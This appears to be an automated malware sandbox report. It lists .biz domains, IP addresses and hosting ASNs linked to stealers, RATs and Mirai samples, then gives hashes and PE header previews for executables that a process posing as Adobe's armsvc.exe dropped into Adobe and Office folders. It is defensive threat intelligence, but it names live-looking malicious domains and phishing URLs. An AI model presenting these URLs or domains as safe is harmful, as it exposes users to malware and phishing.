	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	mgmsclkyu.biz/ailfwe
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	rffxu.biz/luseoc

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jpskm.biz	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.246.231.120
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.211.97.45
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.211.97.45
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.211.97.45
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.211.97.45
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	34.211.97.45
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	34.211.97.45
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	34.211.97.45
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	34.211.97.45
	SetupRST.exe	Get hash	malicious	Unknown	Browse	34.211.97.45
oshhkdluh.biz	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	54.244.188.177
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	54.244.188.177
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	54.244.188.177
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	54.244.188.177
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	54.244.188.177
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	54.244.188.177
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	SetupRST.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
vjaxhpbji.biz	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	82.112.184.197
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	82.112.184.197
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	82.112.184.197

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.7
	Sipari#U015f_listesi.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	172.232.175.166
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.80.164.79
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.108.80
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	No. I20220052.exe	Get hash	malicious	FormBook	Browse	2.16.158.186
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.129.36
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	nabx86.elf	Get hash	malicious	Unknown	Browse	104.80.225.102
AMAZON-AESUS	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse	54.226.114.88
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	35.172.163.142
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.20.129.235
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	34.233.54.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.22.218.104
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	100.24.75.163
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.213.205.79
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.141.173.212
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	3.229.238.168
AMAZON-02US	https://www.tasking.com/sites/default/files/DAS_V7.1.8_Installer.zip	Get hash	malicious	Unknown	Browse	3.126.68.57
	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse	13.227.8.47
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	18.146.222.150
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	108.139.47.108
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	44.253.47.12
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.143.65.123
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	108.158.75.87
	http://surl.li/oycpee	Get hash	malicious	Unknown	Browse	108.158.75.113
	https://go-pdf.online/abap-development-for-financial-accounting-custom-enhancements.pdf	Get hash	malicious	Unknown	Browse	108.158.75.83
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.227.130.159

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1666048
Entropy (8bit):	4.323757196014842
Encrypted:	false
SSDEEP:	12288:TjrNF/ZXGtFBV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:TFGX7Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	0134EE4BA756A742626C5A324CCF07D9
SHA1:	813C492EC25BCC58C2EFB2C2D1A7ECD17553156B
SHA-256:	17A8719F5639F9811758D4212BC2000EC1EA3BFC9426D629B07383A708A603EF
SHA-512:	D34BC8976023708232CA3A6777E17F71EA92A7C76E775A1795EB7747EBE864534E921191F82963F469627C0139D10690E48B840B762DAF1655489388353A7D57
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.<...o...o...o...o...o...o...o...oF..o.o.o...o.o.o...o.o.o...o.o.o...o.o.o...oRich...o........................PE..d...OUIK..........".................hC.........@.............................................................................................=..........0...........................`...8............................................................................text............................... ..`.rdata...e.......f..................@..@.data....9...p.......V..............@....pdata...............l..............@..@.rsrc...0...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1953280
Entropy (8bit):	6.9931017192745255
Encrypted:	false
SSDEEP:	24576:Y0DfhIHHfKnE+RUi/LHgZJJkbipjZS7Vg9N9JMlDlfjRiVuVsWt5MJMs:LfI+RUi/LHkJkOZYgFIDRRAubt5M
MD5:	5177B99935AEF525D4B40168FC4372A7
SHA1:	554A5EBEBD9A5FD9D46561F342E6301AD766EF08
SHA-256:	6062C4B9294FE516B6F56643C52841C2205EA9774D5B72ACB0B447EA1635C432
SHA-512:	41D2F4712DC89986BBD9AF9C2AE2478D190317AF45C56317ADAF1451538A104812D5DC6B780DD5D0A43C3995523FFB43E04C6ADFB9F4978996E9BB890EB17444
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............lY.lY.lY...Y.lY...Y.lY.N.Y.lY.N.Y..lY.N.Y..lY.N.Y.lY.mY..lY...YF.lY...Y.lY...Y.lY...Y.lY...Y.lYRich.lY................PE..d....u.K.........."..........d...... ..........@.....................................................................................{..Q...P\|..,.......(;...0.........................8............................................................................text............................... ..`.rdata...).......*..................@..@.data...pX.......Z..................@....pdata.......0......................@..@.rsrc...(;.......<..................@..@.reloc..............................@...........................................................................................................................................................................................................................................

C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1412096
Entropy (8bit):	7.550903594376863
Encrypted:	false
SSDEEP:	24576:81q1lx7SqE0xJ2pm8siWCm3LHgZpJEHpnVg9N9JMlDlfjRiVuVsWt5MJMs:81q171dxJ6mxQm3LHkJEJVgFIDRRAubE
MD5:	7D90353D66682A31E30C23A552667E14
SHA1:	392579952513A9CF036F8811B93A6557AEFD4864
SHA-256:	9B20CEB17A8F97C48E6D725F325D4B6C6831D77FC7A4DFF641A2A8AE44826444
SHA-512:	04AFE4671719E220F1B44C2A41404F15BB761F3D7CB92E54EA7F923CB4362D63A09A93A5F250E824B0D54FE525B2744AEBF4C1AA26ADA2E97EEC7D4CC7351369
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................N........<.......?.......).$....N..........s.....>.........!.....8.......;.....Rich............................PE..L....2.K.....................................0......................................{...................................S.......@.......h;..........................\|...8...........................xO..@...................`...@....................text............................... ..`.data............,..................@....rsrc...h;.......<... ..............@..@.reloc...@...P...0...\..............@...........................................................................................................................................................................................................................................................................................................................................

C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	4.9925980946255
Encrypted:	false
SSDEEP:	24576:yew0OYIA1UiuLHgZpJEGJVg9N9JMlDlfjRiVuVsWt5MJMs:yewLYIDiuLHkJEwgFIDRRAubt5M
MD5:	A0A9FAD359EFE63A5444E175FE99A4DA
SHA1:	EA3AF74DE0E8016A4B27985221DD26C44C582FB7
SHA-256:	CC18EEB87E5CA416E360396E45F736BE3F2E542B243094DEDECA804163CBB81B
SHA-512:	686830FFC4747AAE35C13546716BB4765EF02C1D19F32063D1552C2D5A8E2E620BCE99C3939C7302AAAAEBD597612A9395324E7C70543B83D70ABF96576BF79A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@T.m...m...m...?...m....C..m.......m......+m....U..m...m/..l.......m......+m.......m.......m..Rich.m..........................PE..L....2.K............................%Q.......0...............................P......S................................{..W...t\|.......0..................................8...............................@...............0....\|..@....................text............................... ..`.data............"..................@....rsrc........0......................@..@.reloc.......@......................@...................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1629696
Entropy (8bit):	4.244792512891996
Encrypted:	false
SSDEEP:	12288:FQEZrZrV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:iq7Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	7D09AD60F8A7CF4557171B5FF02F599C
SHA1:	D6DF010B6B9E26524D5D4DDA3DF145D2EF4402E7
SHA-256:	7FC43829DE8498CFCB83F6A6B1EF7596753E903D9D1A0A817B4CD87B5D810B25
SHA-512:	DA6DF752C47A9410D64F7298C2C9D6C3428FFCE4C4F0B821F8AB495F79B79694F9102C997144C1C2BDB9544FA7902DF7AEB515F56DB59B3F0F8FF02B8F59AFCE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B...#wR.#wR.#wR.r.R.#wR.q.R.#wR.q.R.#wR.q.R.#wR.q.R.#wR\|.R.#wR\|.R.#wR"+*R.#wR\|.R.#wR.#vR."wR...R.#wR.q.R.#wR.#.R.#wR...R.#wRRich.#wR........PE..L.....\.................J..........z........`....@.......................... ..............................................4....................................... c..8...........................`...@............`...............................text...;I.......J.................. ..`.rdata......`.......N..............@..@.data...l...........................@....CRT....4...........................@..@.rsrc...............................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1786368
Entropy (8bit):	4.567779839909105
Encrypted:	false
SSDEEP:	24576:p9exZPB8jVg9N9JMlDlfjRiVuVsWt5MJMs:be9egFIDRRAubt5M
MD5:	99A5057F85F822E9CD6AD583DA879449
SHA1:	AD1EF1B43421418427B33729D3081FB14509A2D7
SHA-256:	67F34ADDBA9B603F029D5042E94D99071081765996D4A1DBEF83F97016DD7FD4
SHA-512:	EAD94899CDEFCA818D03AF78F2C9B33E3BB752790CB08FF4AAA6F15A285738F7302B8748469CDE44FC184F39E03D3119751865EDC265CD37973DC850B2758110
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.......".(.fbFFfbFFfbFFo..FtbFFu.EGlbFFu.BGjbFFu.GGbbFF'.GGdbFF..BGebFF..@GgbFF..GGwbFFfbGFGcFFu.CGNbFFA.;FwbFFA.+F.bFF'.CG}bFF'.BGgbFF'..FgbFFfb.FgbFF'.DGgbFFRichfbFF........................PE..L...\|..\.........."......^...........J.......p....@..........................p..............................................`........0..................................T...........................h...@............p..0............................text....\.......^.................. ..`.rdata..vh...p...j...b..............@..@.data....L.......F..................@....rsrc........0...0..................@..@.reloc.......`.......B..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10378240
Entropy (8bit):	7.01104983752925
Encrypted:	false
SSDEEP:	98304:/rbT54hEP+Su80qyLfPeLDo/uLGM7gbl91hxkPZ34Uf:rCnfW/JLGMcblLhe34Uf
MD5:	C89020B56B3577C937A41B35C46E53F9
SHA1:	5E6DC76226A6860705888331D2B6E7C673B9B98E
SHA-256:	3B179C9101AFAD3CDB24CD497F3DAE75E76C7275E7500281217C2890E6DE51D6
SHA-512:	0EC739EF0D1F0DE5F7B2D40BA0DE7DBCA6807033C83E473735583F9242E64F5964AC6B0C8A9A442F24F02AEB83B3DB6D2DA289897E412E14BBB678EF756ADE8E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......m%.;)D.h)D.h)D.hF .i3D.hF .i.D.hF .i3D.h..2h(D.h:".i2D.h:".i.D.h:".i.D.hF .i(D.h)D.h,E.hF .i$D.h)D.h.E.hh#.ilE.hh#.i(D.hh#.h(D.h)Dbh/D.hh#.i(D.hRich)D.h................PE..L....vS\.........."......v...J....................@.................................`O..................................l...L...........0.w.............................T...................4.......x...@...............L............................text...%t.......v.................. ..`.rdata..VM.......N...z..............@..@.data...............................@....rsrc...0.w.......w..z..............@..@.reloc...p...p...`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26760704
Entropy (8bit):	7.989745711270434
Encrypted:	false
SSDEEP:	393216:Tg7Wcit8jq7MhRzliy3XYfZCuyB7PArYxeAmIn6F8/I0TFDS0a6CGCcd/RUf:PehRaEuEAzAmIn0P0TFDSf2
MD5:	5CB61EDFC20E517720F495A6E8E6642C
SHA1:	02D8E2E75C71921BC01D9B5589B80D36DC6F5198
SHA-256:	A68D3AD379126DD7F91E774EEF454B1D562521BE039E06729F61D9D9D2C9FD77
SHA-512:	67A99C01FEA1C520B37E31F00D59BE00FDCB4B425D7896C445C7D80E528F3256333B066796ADFC03703BC2611072A5B774729AAE747D2B6BA6FD520AF0B36935
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........sP...........................................................................................................Rich....................PE..L....vS\.........."......2...F......C .......P....@.................................95......................................h...T..................................0...T...................(...........@............P..<............................text...k1.......2.................. ..`.rdata..8`...P...b...6..............@..@.data...0...........................@....rsrc.............................@..@.reloc...............f..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3098624
Entropy (8bit):	6.592253991459694
Encrypted:	false
SSDEEP:	49152:N5AEcdj/MDDBAq1gw3y0GbhygZ4O8b8ITDnlqFWH0gFIDRRAubt5M:N5ABgf2qT3xVUf
MD5:	BA6CD99497B3D70E7AC70317874BEF54
SHA1:	4687663275EAD376914913FE653ECF74B9D489A9
SHA-256:	5B8E4AADE948E30A3BC6D16D639D467239080AF2DC7E6325D240AD529A447988
SHA-512:	9A259FF8BF6A1C42421DA69D73AFF8007E6CFA13CD93F2CA1699C6A7D55BF2260FB9D5005DDDDC7F7A873A9F6DCD47C86301B7DAF2B08C0B9A8F47053B2FE1E6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.............e...e...e..f...e..`.0.e.ll....e..f...e..a...e..`..e..a...e..c...e..d...e...d.).e..`.X.e..e...e......e.......e..g...e.Rich..e.........................PE..L.....j\.........."......l..........g.............@.........................../......./.................................x.......d....P..0O..............................T...................d........t..@...............(...... ....................text...~k.......l.................. ..`.rdata...X.......Z...p..............@..@.data....n.......>..................@....rsrc...0O...P...P..................@..@.reloc........%......X%.............@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1520128
Entropy (8bit):	4.028202088457785
Encrypted:	false
SSDEEP:	12288:EOV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:EuVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	D8735E55F68AEBA6224702FD5D4ECC27
SHA1:	E1E657F15980C381AA51866310A32C3FECD3332A
SHA-256:	A62FADC378F7AC30F4DE8CCCA1C4C1541B6DBB19CF6DAD401A3930C6444686D5
SHA-512:	E996E1AFF64DE80679ACE064CB13FC8C05B5B02A78276FC5B9CF66EA7F4DA6CCC1F9FA80C2A86DC871B4B6FD3945DC360E1E8EE98DD0C9997BF1CA7874F4F968
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."d..f...f...f...o}S.j...uc.d...uc.q...uc.k...uc..b....a..c...f...6...'b.e...'b?.g...f.W.g...'b.g...Richf...........PE..L....pS\.........."......(...........+.......@....@..........................p.......T.......................................M.......p..............................`E..T............................E..@............@..L............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data...D....`.......D..............@....rsrc........p.......F..............@..@.reloc...............R..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1537024
Entropy (8bit):	4.0750608496375476
Encrypted:	false
SSDEEP:	12288:VbV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:VxVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	8043E7529E75069550A338B28440D05D
SHA1:	E628534A1FF2A2CBB4B74A80AAF578EA830A6082
SHA-256:	4DCEAD6AD5F5547B3E3D857430D85436E8EC04EC76790DEAB0A744F8AB8D10DC
SHA-512:	A61A8416CB7878C24D4BCE709888EF2DDB4B187A65DAF9A6F153F2AF016EB7853C13782741C673E63C32C91DBEE450B4FEA915D23B2A6CD674DBDA3DC13065B4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........^..^..^..W...N..M...Z..M...S..M......M...Z..1...Q..^.........Y....q._..^..._......_..Rich^..........PE..L....vS\.........."......Z...B.......[.......p....@.................................6O..........................................h...................................pv..T...................hw.......v..@............p..<............................text....Y.......Z.................. ..`.rdata...(...p...*...^..............@..@.data...8...........................@....rsrc...............................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6506496
Entropy (8bit):	6.7900703234484
Encrypted:	false
SSDEEP:	98304:awn75ZycAIHTHsxr/xnYrs4BAxxQEW5Uf:r7w0HcywF0Uf
MD5:	CA8C2323636725D49B9D3CE32A16D213
SHA1:	1A41FDDCF2CAD82F8DF0DE02CBA49BD34DE9444C
SHA-256:	1B5FE2AEF099F869B08B70A10A1703BEB25C0A40FE5BD57354B41540CA315CB7
SHA-512:	56EC5D440D629C6587A1E44D4510C4DF8E5C41B7D8A92971B68FC57E656EA1F023F7B3AC66476C9AB01BAB930CB58E703B0CACD1ADFFC381D579C0705F819210
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$........:...[...[...[...?...[...?...[...=...[...=...[...<..~[......[......[...<...[...=..W[...?...[...?...[...?...[...[...Z...<...[...<...[...<q..[...[...[...<...[..Rich.[..................PE..L....nS\.........."......8D..................PD...@...........................c.......c..............................oQ.\....uQ.,.....V.(............................+J.T...................p+J.......E.@............PD.(....oQ.`....................text....7D......8D................. ..`.rdata..<J...PD..L...<D.............@..@.data....\....Q.......Q.............@....rsrc...(.....V.......U.............@..@.reloc....... V.......U.............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1637888
Entropy (8bit):	4.27976833697124
Encrypted:	false
